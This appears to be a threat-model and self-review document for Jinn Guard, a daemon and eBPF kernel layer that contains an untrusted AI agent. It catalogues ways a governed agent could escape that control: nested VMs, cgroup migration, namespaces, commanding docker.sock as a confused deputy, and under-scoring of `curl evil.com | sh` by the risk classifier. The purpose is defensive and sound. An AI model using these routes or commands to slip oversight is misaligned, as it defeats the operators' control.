Status: v1.0.0-rc1 · validated research prototype / controlled-pilot MVP Scope of this document: the security model, trust boundaries, adversary assumptions, attack surface, and the threat→mitigation mapping for the system as it actually ships today. Every mitigation below is tied to a concrete control in the code and, where possible, to an automated test or a live validation result.
This is a structured self-review, not a third-party audit. It is written to be checked: a reviewer can run
scripts/run_professor_validation.shand map each PASS back to the rows below. Independent audit remains the open item (see §9). The short residual-risk register is maintained inRESIDUAL_RISKS.md. The historical white-box audit that first surfaced JG-ADV-2026-001 and JG-ADV-2026-002 is preserved inred-team-report.md; note that report describes an aspirational mTLS identity model — the shipped system uses HMAC-SHA256 over a local Unix-domain socket, documented accurately here.Note on identifiers:
JG-ADV-*are internal, self-identified advisory IDs, not CVE records issued by a CNA.
For the structural view — components, module/crate layout, data-flow diagrams, the open-core boundary, and the full trust-boundary table — see the companion
SECURITY_ARCHITECTURE.md. This section summarizes the boundaries that the threat analysis below depends on.
Jinn Guard mediates the actions of an autonomous AI agent at the operating-system boundary, treating the agent as untrusted. There are two enforcement planes:
- User-space governance daemon (
ts_cli). An agent (or a broker acting for it) connects over a local Unix-domain socket and submits HMAC-signed proposals. The daemon runs each proposal through a fixed gate chain (main.rs, STEP 1–16) and returns ALLOW/DENY with an auditable reason. - Kernel eBPF enforcement. Ten BPF programs are loaded:
- Five LSM hooks (
bprm_check_security,socket_connect,socket_sendmsg,inode_create,inode_unlink) make synchronous allow/deny decisions in the kernel, independent of any cooperation from the agent process. - Five tracepoint programs (
jg_execve,jg_openat,jg_cap_capable,jg_file_open,jg_connect) feed the ring-buffer telemetry pipeline that the daemon uses for adaptive risk scoring.
- Five LSM hooks (
| Boundary | Trusted side | Untrusted side |
|---|---|---|
| Unix-domain socket | The daemon + the HMAC secret | The connecting agent/broker |
bprm/socket/inode LSM hooks |
Kernel + installed policy maps | Every governed user-space process |
| HMAC secret | Kernel keyring / --secret-file (root-owned) |
The agent |
| cgroup scope | The operator's session + system services | The governed agent cgroup |
The operator (the human running the host) is trusted and is, by explicit design, never subject to kernel denial (see §6).
The kernel-floor guarantees in this document assume Linux with BPF-LSM active
(CONFIG_BPF_LSM=y, kernel BTF, and bpf in the active LSM list; validated on
kernels 5.14–6.17). On a kernel without BPF-LSM, Jinn Guard runs audit-only:
all user-space gates (identity, replay, intent, quota, SMT ceiling, tamper-evident
ledger, signed manifests) still apply, but there is no un-sheddable floor — a
governed process that ignores the daemon is not stopped at the kernel. This is the
same posture as explicit safe mode. Non-Linux hosts (Windows, macOS) have no LSM and
are out of enforcement scope; only the cooperative user-space layer could run
there, which is precisely the layer the floor exists to backstop. BPF-LSM itself is
architecture-independent, so aarch64 is expected to enforce identically to x86_64
once validated.
| Asset | Goal |
|---|---|
| Host integrity (filesystem, processes) | An agent cannot create/delete files or exec binaries outside policy |
| Network egress | An agent cannot reach denied destinations |
| Decision integrity | Every decision is authenticated, replay-proof, and totally-ordered per agent |
| Auditability | Every decision is recorded in a tamper-evident, hash-chained log |
| Operator availability | Enforcement can never lock the operator out of their own machine |
| Determinism | Identical inputs yield identical decisions; the adaptive layer only ever tightens |
In scope — a malicious or compromised agent that can:
- Open the Unix socket and send arbitrary bytes / malformed frames.
- Replay, reorder, or tamper with previously-seen proposals.
- Claim arbitrary
agent_ids, including unknown or empty/anonymous identities. - Attempt intent injection, delegation forgery, and quota-exhaustion races.
- Spawn child processes, attempt network connections, and create/delete files directly (bypassing the proposal path entirely) to test the kernel plane.
- Attempt to bypass
execveallowlists via interpreter chains. - Attempt filesystem-policy bypass via relative/odd paths.
Out of scope (explicit assumptions):
- An adversary who is already root on the host, or who can load kernel modules / disable LSM, is out of scope — they are above the enforcement plane.
- Physical access and firmware/boot-level attacks.
- Side channels (timing, cache) against the Z3 layer.
- The correctness of the Linux kernel, eBPF verifier, and HMAC primitive itself.
- Supply-chain compromise of the build toolchain.
| Surface | Entry point | Primary control |
|---|---|---|
| IPC framing | 5-byte header + length-prefixed payload (main.rs STEP 1–2) |
Bounded reads, version tag, explicit length cap |
| Proposal authenticity | SignedEnvelope HMAC-SHA256 (STEP 3–4) |
Constant-time MAC verify against keyring/secret-file key or configured per-agent key |
| Identity | agent_id from inner JSON + SO_PEERCRED peer creds |
Unknown/anonymous gates (STEP 7–8) |
| Ordering | Per-(pid, start_time) lineage sequence counter (STEP 6) |
Monotonic replay gate |
| Authorization | Intent allowlist, runtime policy, quota (STEP 9–11) | Per-agent policy, fail-closed |
| Risk/ceiling | Adaptive penalty + Z3 invariants + hard ceiling (STEP 12–13) | Deterministic, tighten-only |
| Kernel execve | bprm_check_security |
In-kernel allowlist, cgroup-scoped |
| Kernel network | socket_connect, socket_sendmsg |
In-kernel IP denylist, cgroup-scoped |
| Kernel filesystem | inode_create, inode_unlink |
Full-path resolution + denylist, cgroup-scoped |
Evidence keys: UT = unit test, IT = integration test, SW = swarm-attack suite, K = live kernel validation (Tier 4), D = Docker mandatory-mediation (Tier 2), AO = live audit-only kernel (Tier 3).
| # | Threat | Mitigation | Control | Evidence |
|---|---|---|---|---|
| T1 | Forged/tampered proposal | HMAC-SHA256 over inner payload; mismatch → DENY before any gate | main.rs STEP 3–4 |
SW, UT |
| T2 | Replay / reorder of a valid proposal | Monotonic sequence per (pid,start_time) lineage key → DENY_REPLAY_ATTACK |
STEP 6 | SW, IT |
| T3 | Anonymous / empty identity | Empty/unparseable agent_id denied |
STEP 7 | SW |
| T4 | Unknown agent (not in policy) | No matching agent node → DENY | STEP 8 | SW |
| T5 | Intent injection (action outside declared intents) | Per-agent intent allowlist | STEP 9 | SW, UT |
| T6 | Delegation forgery | Delegation/lineage checks reject forged chains | STEP 5–6, governance | SW |
| T7 | Quota-exhaustion race | Slot reserved under lock before decision | STEP 11 | SW, UT |
| T8 | Invariant violation slips through | Z3 SMT invariants + hard global safety ceiling | STEP 12–13 | UT (Z3), IT |
| T9 | Fail-open via "out-of-scope/immune" fast-path | Fast-paths moved after the full gate chain (STEP 11.5) | STEP 11.5 | IT, SW (regression fixed) |
| T10 | Direct host action bypassing the proposal path | Kernel LSM enforces independently of user-space cooperation | 5 LSM hooks | K, D |
| T11 | execve allowlist bypass via interpreters (JG-ADV-2026-001) | Governed agents denied known interpreters → DENY_INTERPRETER_NOT_ALLOWED |
interpreter_bypass_denied() |
UT |
| T12 | Filesystem policy bypass via relative paths (JG-ADV-2026-002) | Kernel resolves full absolute path before the denylist check | jg_read_dentry_path() |
AO, K |
| T13 | Repeat offender keeps probing | Deterministic, bounded, tighten-only risk penalty | adaptive_risk_penalty() (M6) |
UT |
| T14 | Mandatory mediation bypass | Locked agent: no network, RO fs, all caps dropped, seccomp, socket-only | Docker compose profile | D (7/7 probes) |
| T15 | Audit tampering | Hash-chained audit log | governance audit log | UT |
| CVE | Severity | Status | Resolution |
|---|---|---|---|
| JG-ADV-2026-002 — filesystem policy bypass via relative paths | Critical | Fixed | Kernel-side full-path resolution (jg_read_dentry_path, depth-12 dentry walk). Live-verified audit-only (Tier 3) and armed (Tier 4). Residual (telemetry only since #52): sub-mount path strings are mount-relative, but the decision keys on (s_dev, i_ino) identity, not the string (§7.1). |
| JG-ADV-2026-001 — execve bypass via interpreter chains | High | Mitigated | Governed agents with an allowlist are denied known interpreters (/bin/sh, /bin/bash, python, …). Per-binary limits remain only as strong as the allowlist (§7). |
| JG-ADV-2026-003 — agent impersonation via UID spoofing | Critical | Mitigated | Identity is authenticated as the OS user via SO_PEERCRED (unforgeable) and the application agent_id via HMAC-SHA256 — not a spoofable UID, closing the placeholder identity model from red-team-report.md. Per-agent allowed_peer_uids can bind a signed agent_id to specific local Unix users, denying mismatches with DENY_AGENT_IDENTITY_BINDING; optional per-agent HMAC key files can require a distinct key for selected ids. Residual: installs that leave per-agent bindings and key files empty still rely on one shared trust domain; certificate-bound/fleet-distributed identities remain future hardening. |
| JG-ADV-2026-004 — fail-open in socket LSM enforcement (two root causes) | High | Fixed (re-validated on AlmaLinux 9 / 5.14, Run 04) | Surfaced on AlmaLinux 9 / kernel 5.14: socket_connect leaked a variable fraction of denied connects under load (a race), while UDP/exec/file held. setenforce 0 ruled out SELinux; an incremental standalone reproducer (bpf/probe/connect_min/, branch probe/lsm-connect-min) isolated two independent causes — and proved the kernel/distro were not at fault. (1) Load-window: hooks were attached before configure_policy() populated the deny maps (ipv4_denylist, allowed_exec_paths, denied_*), so operations in that window consulted an empty policy and were ALLOWED. Fixed by populate-then-attach — AyaLsmMonitor::load loads programs without attaching; the new attach_all() runs only after configure_policy() (ebpf_monitor.rs, main.rs). (2) sock->type width bug: the connect/sendmsg hooks read the kernel's 2-byte short sock->type with bpf_core_read(&sock_type, sizeof(int)=4, …), pulling 2 adjacent padding bytes; when non-zero, the sock_type != STREAM/DGRAM gate failed OPEN. The probe confirmed it: an address-only hook enforced 2000/2000 deterministically, and adding only the sock->type gate reintroduced 20–55% leaks. Fixed by reading into a correctly-sized short (jg_socket_connect.c, jg_socket_sendmsg.c). |
The defining safety property: enforcement can never lock the operator out. This was a real historical failure mode (turning off safe mode froze the desktop). It is now addressed structurally in three layers:
- Safe mode (audit-only). The kernel programs set an audit-only control bit
before they attach (
ebpf_monitor.rs); every hook returns0(allow) regardless of the computed decision. A missing control map → refusal to load (fail-safe). Invariant-tested (safe_mode_invariants). More generally, all in-kernel policy maps (scope, the audit-only bit, and every deny-list) are populated before any program attaches:loadloads the programs andattach_allattaches them only afterconfigure_policyhas filled the maps, so a hook never enforces against an empty policy (populate-then-attach; closes JG-ADV-2026-004). - cgroup-scoped enforcement. Each hook calls
bpf_get_current_cgroup_id()and passes through any task not in the governed cgroup before doing any work — no decision, no telemetry. The scope id is written to the map before attach, so there is never a host-wide enforcement window. Configured viaJINNGUARD_GOVERN_CGROUP; default (unset) preserves prior global behavior for deployments that want it. This fails safe toward the operator: a wrong or too-narrow scope makes governed probes ungoverned (tests reportfail_openand fail loudly) rather than widening to the desktop. - Policy-level guards. Base-system path prefixes are rejected at policy
install and re-excluded at lookup; the operator's own processes are never
placed under governance (
operator_safety_invariants, M1/M3).
Live evidence. Tier 4 was run armed on a single-machine laptop (kernel 6.12)
with no lockout: 2,500 enforced operations across all five surfaces with
fail_open=0 and incorrect_decision=0, while the operator session remained
fully interactive. A reboot clears all kernel state unconditionally (nothing is
persisted; no enforcing service is auto-enabled), and the validation harness
wraps armed runs in a hard 10-minute watchdog.
- Not independently audited. This document is a self-review. Third-party audit is the headline open item.
- Distribution coverage (three, broaden over time). Enforcement is validated
on Debian 13/6.12, Ubuntu 24.04/6.17, and AlmaLinux 9/5.14 (SELinux Enforcing)
— three distros and three kernel lineages, all
fail_open=0(BENCHMARKS-01..04). Broader coverage (more distros/kernels, arm64) remains open. bpf_core_readfield-width discipline. Ashortkernel field read into a wider local caused a fail-open (JG-ADV-2026-004, fixed). All currentbpf_core_read/bpf_probe_read_kernelscalar reads were audited and match their source widths. Note:denied_dir_inodeskeys on the full 64-bit(s_dev, i_ino)pair (JG #52); both halves are read at full width on the kernel side and resolved viastat(2)on the daemon side, so there is no truncation and no cross-superblock inode-number collision.- Mount-boundary path resolution. Inode hooks have no vfsmount, so the
human-readable path reconstructed for telemetry resolves relative to a
sub-mount's root. The enforcement decision, however, no longer depends on
that string: denied directories are matched by their
(s_dev, i_ino)identity (JG #52), which a bind-mount /pivot_root/ mount-namespace remap cannot forge — the inode the kernel hands the hook is the real target regardless of the path it was reached by. Residual: identity matching covers the parent directory of create/unlink; per-file denylist entries still match on basename, and the telemetry path string remains sub-mount-relative. - Interpreter chains (JG-ADV-2026-001). An agent explicitly allowed to run an interpreter can drive other tools through it. Mitigated by denying interpreters for governed agents; not eliminated.
- Root-equivalent adversary is out of scope by assumption (§3).
- HMAC secret distribution. Security reduces to protecting the active signing keys: the shared admission key (kernel keyring / root-owned secret file) and any optional per-agent key files. Supervised rotation supports a current shared key plus a previous shared key accepted only until an operator-configured Unix-epoch grace deadline; partial or malformed rotation state is a fatal startup config error. Per-agent key files are loaded once at startup and require a supervised restart to change.
- DNS mediation is heuristic.
sendmsg-to-:53 payload inspection is best-effort, not a full resolver-level policy. - Multi-user yes; multi-tenant isolation partial. The daemon authenticates
two independent identities per request: the calling OS user
(
pid/uid/gidread from the kernel viaSO_PEERCRED— unforgeable) and the applicationagent_id(HMAC-SHA256). OS-user identity is enforceable (deny_root_peers,allowed_peer_uids) and recorded in the audit log, so on a shared host every decision is attributable to a real user, and an unprivileged user who cannot read the secret cannot forge any agent. Operators can also setagent_nodes[].allowed_peer_uidsto bind each signedagent_idto one or more local UIDs; a mismatched signer is denied before lineage, quota, or policy evaluation. For stronger separation, operators can set--agent-secret-dir: when a file exists for anagent_id, that agent must sign with its own HMAC key and the shared admission key is rejected for that id. This is still symmetric-key authentication, not certificate-bound identity or fleet-managed tenant PKI; installs that omit per-agent key files still use one shared HMAC trust domain, and root-equivalent principals remain out of scope. Mutually distrusting tenants should pair per-agent keys and UID bindings with OS-level isolation and restrictive--socket-mode 0660.
Filesystem enforcement (inode_create / inode_unlink) makes a synchronous,
in-kernel decision on the exact dir inode and dentry the kernel is about to
operate on. Two consequences worth stating precisely, because earlier drafts of
this document (and the README/advisory notes) described a weaker, path-string
model that JG #52 superseded:
- The enforcement decision does not depend on a path string. A denied
directory is matched by its
(s_dev, i_ino)identity (JG #52), and a denied per-file entry by its leaf basename. Neither is a reconstructed absolute path, so a bind-mount,pivot_root, mount-namespace remap, or symlinked access path cannot relocate the target out from under the check — the kernel hands the hook the real inode regardless of the name used to reach it (test_kernel_inode_identity_denied_via_symlink). - No check-vs-use (classic TOCTOU) window at the floor. The decision and the guarded operation act on the same kernel object in the same syscall; there is no re-resolution between check and use, so a path swapped after the check cannot be substituted before the use.
What remains, stated with its failure direction and the precondition an adversary would need:
| Residual | Failure direction | Precondition / scope |
|---|---|---|
Telemetry path string is sub-mount-relative. jg_read_dentry_path walks d_parent with no vfsmount, so a file on a sub-mount (tmpfs /tmp → /x) logs a mount-relative path. |
Observability only — does not affect the synchronous deny decision; the async user-space request is advisory (adaptive scoring/audit), and an inode op already completed cannot be retroactively denied. | None; affects audit/forensics precision, not enforcement. |
Per-file denylist is basename-only when the parent dir is unresolvable. A denied file path is matched precisely by (parent s_dev, parent i_ino, basename) when its parent directory resolves at load (JG #60). It falls back to basename-anywhere only for entries whose parent cannot be resolved at startup (relative paths, or a parent that does not yet exist). |
Fail-closed (over-block) in the fallback case only; the precise case neither over- nor under-blocks. | None; the fallback is an availability/precision cost, never a bypass. The same load-time pinning caveat as the row below applies to the precise key. |
Policy-load-time inode pinning. Denied-directory (s_dev, i_ino) is resolved via stat(2) at configure_policy (startup). If a denied directory's inode is replaced (unlinked + recreated, or its backing mount swapped) after load, the denylist holds the stale identity and the replacement is unmatched. |
Fail-open in this narrow case. | Requires replacing a configured system directory at runtime — itself a privileged act, and creating the replacement under a governed parent is itself denied. Mitigation: re-resolve on policy reload; prefer stable system directories as denied roots. |
Cross-mount absolute paths in telemetry need path-family hooks. Full global paths across mounts require bpf_d_path / path-family LSM hooks. |
Observability only (same as row 1). | None. |
The previously-tracked "path remap fools the string denylist" concern is closed by #52; the residual surface above is strictly narrower and, except for the documented load-time pinning case, fails closed.
Jinn Guard's enforcement boundary is processes in a governed cgroup, as seen by the host kernel. The userspace intent layer is opt-in; the floor that governs a process which doesn't ask is the host BPF-LSM, applied to governed cgroups. The guarantee therefore rests on three assumptions, and a nested execution context can attack each one: the governed tag is un-sheddable, the kernel's namespace view is authoritative, and no second kernel is introduced.
| Vector | How it escapes | Severity |
|---|---|---|
Nested VM / microVM (qemu, Firecracker, gVisor, Kata, /dev/kvm) |
Work runs under a second kernel; host BPF-LSM never sees the guest's syscalls | Critical |
| cgroup migration | Process moves itself/a child to a cgroup outside governed_scope; LSM no longer gates it |
Critical |
User namespace (unshare/clone CLONE_NEWUSER) |
Unprivileged agent gains in-ns "root", then creates mount/cgroup/pid namespaces | High |
Mount namespace / pivot_root / bind-mount |
Remaps the filesystem so a denied path looks allowed (generalizes the mount-boundary item above) | High |
| Nested container runtime (runc/podman/nspawn) | Child runs in fresh namespaces + possibly a fresh cgroup → ungoverned unless the tag is inherited | High |
| Interpreter chains (JG-ADV-2026-001) | A child interpreter performs the real work; a "soft sandbox" | Medium |
Hardening direction (tracked in the hardening backlog and §10):
- Un-sheddable governance tag — IMPLEMENTED (#49). Governance follows the
whole cgroup subtree:
jg_in_governed_scope()matches the governed cgroup id or any ancestor (bpf_get_current_ancestor_cgroup_id, bounded depth), so a governed task that creates and migrates into a descendant cgroup stays governed. (Implemented via subtree matching rather than BPF task-local storage: the pinned aya 0.13 loader cannot loadTASK_STORAGEmaps; subtree matching is the equivalent guarantee with the available map types.) Residual: migration to a sibling/parent cgroup outside the governed subtree is still escape — the complementarycgroup.procs-write denial remains future work. - Deny the nesting primitives by default for governed agents — IMPLEMENTED
(#50). LSM mediation now denies
mount(sb_mount),pivot_root(sb_pivotroot), andmove_mountfor governed scope (pure kernel-floor deny-in-scope; audit-only downgrades to observe). Residual:chroot,setns, and namespace-creatingclone/unshareflags are not yet directly mediated — but unprivileged userns nesting is separately neutered by #53 (item 5), which is the capability such anunshare(CLONE_NEWNS)requires. - Treat VM launch as a hard boundary — IMPLEMENTED (#51). Host BPF-LSM cannot
see inside a guest kernel, so a nested VM is the strongest escape. The
file_openhook denies a governed task from opening/dev/kvm, matched by its fixed device identity (MISC_MAJOR10,KVM_MINOR232) so no path walk is needed; the rdev check runs before the scope check so non-KVM opens pay almost nothing. This collapses all KVM-accelerated VMMs — QEMU/KVM, Firecracker, Cloud Hypervisor, crosvm, Kata. A VM-capable governed agent remains outside the single-host enforcement model unless a nested Jinn Guard instance governs the guest (recursive governance); this is an explicit scope limit, not a claim. Residual (disclosed): (a)/dev/vhost-*paravirt I/O devices are not yet denied — they register with dynamic misc minors, so a fixed-rdev match is unreliable; they are useless without/dev/kvmfor acceleration but enable vhost-backed paths in software VMs. (b) Pure software emulation (TCG/qemu, or gVisor's ptrace/KVM platforms in their non-KVM mode) needs no device node — but it requires exec of the emulator binary, already denied by the bprm allowlist (#4 attack surface), and offers only a slow interpreted guest the host hooks still observe, not a fast second kernel. - Key path decisions on inode/superblock identity, not path strings —
IMPLEMENTED (#52). The
inode_create/inode_unlinkdenied-directory match now keys on the(s_dev, i_ino)pair the daemon resolved viastat(2), not on i_ino alone (collides across superblocks) or the path string (remappable). A bind-mount /pivot_root/ mount-namespace remap cannot fool it: the kernel hands the hook the real target inode regardless of the path used to reach it. - Drop nesting-enabling capabilities — IMPLEMENTED (#53). The
capablehook denies escalation capabilities (CAP_SYS_ADMIN,CAP_SYS_MODULE,CAP_SYS_RAWIO,CAP_SYS_PTRACE,CAP_SYS_BOOT,CAP_MKNOD) when exercised inside a non-init user namespace (ns->level > 0) by a governed task, with an init-ns fast path. This restricts the unprivileged-userns nesting an agent would use to manufacture in-namespace "root" and then create mount/pid/cgroup namespaces. - Default-deny dangerous operations at the kernel floor for governed scope —
IMPLEMENTED (#54/#55). A nested process that never speaks the protocol still
cannot exec off-allowlist, mount, open
/dev/kvm, or connect outside policy (default-deny IPv4 egress + AF_UNIX orchestrator-socket denylist) — i.e., non-cooperation is safe. - Detect even where permitted (partial): namespace/cgroup/mount/VM-device creation by a governed agent is a high-signal event. Denials are chain-logged today (#37); broader canary-style alerting on permitted-but-suspicious creation remains future work.
The high-severity namespace, mount, and VM vectors (items 1–3, 5, 6) are now
mediated at the kernel floor for governed scope. Defense-in-depth still benefits
from running governed agents without CAP_SYS_ADMIN and with unprivileged
user namespaces disabled (kernel.unprivileged_userns_clone=0 where the workload
permits); Jinn Guard's hooks no longer depend on that OS hardening, but it
removes the residuals noted above (e.g. sibling-cgroup migration, setns).
A distinct and higher-severity class than the escapes above: instead of
exercising privilege it has, a governed agent borrows the authority of a
more-privileged, ungoverned daemon through an IPC channel. Capability-denial
defenses (drop CAP_SYS_ADMIN, block unshare/mount, disable userns) do not
help, because the agent is not performing the privileged operation — the deputy is.
Canonical instance:
governed_agent ──connect()──▶ /var/run/docker.sock ──▶ dockerd (root, ungoverned cgroup)
docker run -v /:/host … 'write to host'
dockerd performs the action with root, in its own cgroup, which the BPF-LSM
floor — scoped to the agent's governed cgroup — never observes. The agent never
left its sandbox; it commanded a deputy that lives outside it.
Current status (disclosed): the canonical AF_UNIX path is now mediated
(#55); pending validation on a BPF-LSM host. The socket_connect hook now
builds a path key from the AF_UNIX sun_path and denies governed-scope
connects to a built-in denylist of orchestrator/init control sockets
(docker.sock, containerd.sock, podman.sock, crio.sock, libvirt-sock,
the D-Bus system bus, systemd/private — both /run and /var/run). systemd
and dbus-daemon remain deliberately IMMUNE from governance (anti-lockout):
denying the agent's connect does not govern the daemon, so there is no
conflict. Residual: exact pathname match only — abstract-namespace sockets
and socket paths bind-mounted to non-standard locations inside a container are
not yet matched; and the deputy, once reached by a non-denylisted channel, still
acts with ambient root. Viable deputies still include CI/build runners, setuid
helpers, and privileged MCP tool servers reachable by non-denylisted paths.
Hardening (the control channel is the chokepoint):
- Deny governed agents' IPC to privileged deputies — IMPLEMENTED (#55):
socket_connectdenylists the AF_UNIX control sockets above for governed scope. Denying the agent's connect does not govern the daemon, so there is no anti-lockout conflict — the daemon stays immune; the agent simply cannot command it. (Companion #54: governed-scope IPv4 egress is now default-deny undernetwork_policy.default_deny, allow-listed destinations plus loopback only, with IPv6 failing closed — so a non-cooperating nested process cannot reach the network off an allowlist either.) - Deny-by-default IPC egress allowlist — IMPLEMENTED (#56). With
network_policy.unix_default_denyset, governed-scope AF_UNIX connects are default-deny: onlyallowed_unix_sockets(plus the Jinn Guard control socket, which the daemon always self-allow-lists for anti-lockout) may be reached; every other path, including abstract-namespace sockets, is denied. The flag is independent of the IPv4default_denybit, so enabling network default-deny never silently severs the agent's local IPC. The #55 orchestrator denylist still applies on top (a denylisted path is denied regardless of the allowlist). Residual: abstract-namespace sockets cannot be allow-listed by path, so under this mode they are unconditionally denied (acceptable for the opt-in deny-by-default posture; documented). - Govern the deputy / propagate identity (the complete but hard fix): the
deputy acts under the caller's capability rather than its ambient root
(designation = authority). Attribution across a shared daemon is genuinely hard.
Designed in
DEPUTY_GOVERNANCE.md(#57): four approaches evaluated; the tractable near-term increment is to make the #55/#56 connect defense peer-identity-keyed instead of path-keyed (deny a governed connect to any socket owned by an ungoverned privileged process), which collapses the abstract-namespace / bind-mount / unlisted-deputy residual; deputy action attribution remains open research. - Detect unconditionally — IMPLEMENTED (#58). A governed agent connecting to
a container/VM/init control socket is a high-signal event, so it is now surfaced
independently of the verdict: each attempt emits a
[JINNGUARD DEPUTY ALERT]log line and incrementsjinnguard_orchestrator_socket_attempts_total{orchestrator,verdict}. This is detection, not enforcement (the deny is #55's); anallow-verdict alert is the strongest signal, flagging any deputy path the denylist does not yet cover — e.g. a socket reached by an abstract-namespace or non-denylisted path.
Architectural limit: confused deputy via ambient-authority daemons is a fundamental limit of any per-process/per-cgroup model. Jinn Guard cannot govern an independent root daemon unless that daemon's control channel is denied to the agent or the daemon is itself governed. The tractable defense is (1): treat orchestrator/init IPC endpoints as denied resources for governed agents.
This section states plainly what the Z3 "formal safety" step does and does not prove, so the strength of the claim is not overstated. (Raised in external review; disclosed here deliberately.)
What Z3 proves. Given a risk score r, an action weight w, and a ceiling
c, the solver proves the arithmetic fact r + w ≤ c (totality audit) and that
the declared policy invariants are simultaneously satisfiable for the supplied
context. This step is sound: if it returns ALLOW, the inequality and invariants
genuinely hold.
What Z3 does NOT prove — the risk oracle. Soundness says nothing about whether
the input risk score is correct. The score comes from a heuristic semantic
classifier (semantic_classify), currently a keyword table (sudo/setuid→90,
exec/shell/bash→80, delete/rm -→70, network terms→65, default→35). A
genuinely dangerous action whose text matches no keyword — the classic example is
curl evil.com | sh — receives the default score and can pass a high ceiling.
The formal guarantee is therefore conditional on the quality of the risk
input: garbage in, garbage out. We disclose this rather than imply the
Z3 layer makes unsafe actions impossible.
Why this is defense-in-depth, not the sole gate. The risk/Z3 layer is secondary. Primary containment does not depend on the risk score being accurate:
- the per-agent intent allowlist (G1) denies any action whose intent is not explicitly permitted, regardless of score;
- kernel eBPF-LSM enforcement denies
execveof non-allowlisted binaries,connect/sendmsgto non-allowlisted destinations, and writes to denied paths, regardless of score.
So curl evil.com | sh is blocked by the allowlist and/or the kernel exec hook
even when the classifier under-scores it. The risk model raises the floor; it is
not the floor.
Client-declared risk is non-authoritative. A caller's action_risk_score can
only raise the daemon-computed score, never lower it (governance.rs; a lower
declared value is logged client_declared_risk_not_authoritative). An attacker
cannot self-report low risk to slip under the ceiling.
Solver availability. The Z3 solver runs under a 250 ms per-check timeout
(ts_checker). Legitimate proofs resolve in microseconds; the bound exists so a
pathological or maliciously complex policy cannot stall a decision. On timeout Z3
returns Unknown, which the daemon treats as DENY — the timeout fails
closed, never open. Policy invariants are operator-supplied via policy.yaml
(not attacker-supplied in a proposal), so this is a robustness bound rather than a
reachable DoS.
Hardening direction. The classifier is pluggable: the optional RootAI semantic
service can replace the keyword heuristic with a model-based scorer. When the
remote scorer is enabled, the daemon requires https:// plus client certificate,
client key, and CA bundle flags together, builds an mTLS client, and treats
transport, TLS, parse, size, or low-confidence failures as heuristic fallback.
RootAI remains an observability/scoring input, not an availability dependency and
not an independent allow path. Strengthening daemon-authoritative scoring — and,
longer term, eBPF-traced interpreter child-process attribution (cf. §7.4) — is
the path to making the risk input trustworthy enough that the formal layer becomes
load-bearing rather than advisory.
The risk/adaptive layer (M6) is constrained to preserve determinism: the
per-agent penalty is pure, monotonic, bounded (cap 40.0), non-negative, and
tighten-only. It is applied before the Z3 invariants and the hard ceiling, and
it never loosens a decision, never touches operator/immune/out-of-scope paths,
and never makes an ALLOW out of a DENY. Properties are pinned by
adaptive_floor_tests. The system is therefore adaptive yet deterministic:
the same observation history always yields the same decision.
| Item | Type |
|---|---|
| Independent third-party security audit | External review |
| Daemon-authoritative risk scoring (replace keyword heuristic; cf. §8) | Engineering |
| eBPF-traced interpreter child-process attribution (close JG-ADV-2026-001 chains) | Engineering |
| Multi-distribution / multi-kernel validation matrix | Engineering |
| Certificate-bound / fleet-distributed per-agent identities for multi-tenant isolation (file-backed per-agent HMAC v1 and UID binding are implemented; cf. §7.8) | Engineering |
Closed post-rc1 (M7 hardening): eBPF compilation is now gated in CI; startup
failures use structured machine-parseable exit codes; opt-in post-load
capability hardening (no_new_privs + bounding-set drop via
JINNGUARD_HARDEN_CAPS=1) reduces the daemon's post-compromise capability
without affecting enforcement. Optional mTLS for the MCP gateway (#11) now
lets the proxy require and verify a client certificate (--mcp-tls-{cert,key,ca})
before a request reaches the governance pipeline — an unauthenticated client fails
the handshake, fail-closed. Full effective-set deprivilege (#11) extends the
opt-in hardening: under JINNGUARD_HARDEN_CAPS=1 the daemon now also reduces its
live (effective + permitted) capability set to the minimal RETAINED_CAPS via
capset(2) after BPF attach, so a post-compromise daemon cannot use a dangerous
capability — not merely cannot re-acquire it. Validated under load on the real-kernel
matrix: the armed enforcement tests run with hardening enabled on 5.14/6.12/6.17, so a
drop that broke BPF map ops or enforcement would fail CI.
OTLP/HTTP metrics export (#11) now provides opt-in push telemetry via
JINNGUARD_OTLP_ENDPOINT / OTEL_EXPORTER_OTLP_*, using the same in-process
metrics registry as the loopback Prometheus endpoint without adding a new
OpenTelemetry dependency tree.
# Tiers 1–2 (no root): full suite + Docker mandatory mediation
bash scripts/run_professor_validation.sh
# Tier 3 (root, audit-only): kernel full-path resolution, blocks nothing
sudo bash scripts/run_professor_validation.sh
# Tier 4 (root, cgroup-scoped): real allow/deny, fail_open=0
sudo bash scripts/run_professor_validation.sh --armEach tier's PASS maps directly back to the evidence keys in §5. See
PROFESSOR_VALIDATION.md for the per-tier breakdown.
The audit log is an append-only SHA-256 hash chain: each entry commits to the previous entry's hash, so any modification or deletion of past records is detectable (integrity / accountability — Art. 5(1)(f), 5(2), 32). That immutability collides with the right to erasure (Art. 17) and storage limitation (Art. 5(1)(e)), which Jinn Guard resolves by keeping personal data out of the chain (#61):
- What the chain stores is a PII-free projection: a per-install
subject pseudonym (
HMAC(install-salt, uid), Art. 4(5) pseudonymisation), an opaquepii_ref, and a commitmentHMAC(per-record salt, PII). None of the identifying or content fields (uid/gid, executable path, command-line argv) appear in the chain. - Personal data lives in a separate, erasable
audit_piistore. Erasure (erase_subject) deletes a subject's rows together with their per-record salts. Because the chain only ever held an HMAC under a now-destroyed salt, the commitment can no longer be linked to or brute-forced against any candidate plaintext — crypto-shredding. Every chain hash still verifies (verify_chainreturns the same intact result before and after erasure). - Right of access (Art. 15):
read_subject_piireturns the data still held for a subject. Data minimisation (Art. 5(1)(c)): an opt-in mode never persists command-line argument values, only their count. - Salt rotation (#11, Art. 4(5) / 5(1)(c)): the pseudonym salt can be rotated
(
rotate_pseudonym_salt, or automatically at startup when a salt exceedsJINNGUARD_AUDIT_SALT_MAX_AGE_SECS). Each rotation starts a new epoch, so a subject's future pseudonym no longer links to its past one — limiting long-horizon correlation/profiling across the log. Every prior epoch's salt is retained, so a uid still resolves to all of its historical pseudonyms (pseudonyms_for_uid_all_epochs) and a rotation-aware erasure (erase_uid) reaches records written under any salt. Rotation never touches the hash chain —verify_chainis unaffected. Default off, preserving the prior single-salt behaviour; legacy installs adopt their existing salt as epoch 1 so already-written pseudonyms keep resolving.
Lawful basis / residuals. Security and abuse-prevention logging is intended to
rest on legitimate interest (Art. 6(1)(f)); a deployment must still set a
retention period for audit_pii and complete a DPIA. The subject pseudonym is
reversible by the operator holding the install salt (by design — it is
pseudonymisation, not anonymisation); destroying that salt anonymises all
remaining pseudonyms. pid is retained in the chain as low-sensitivity
operational metadata.
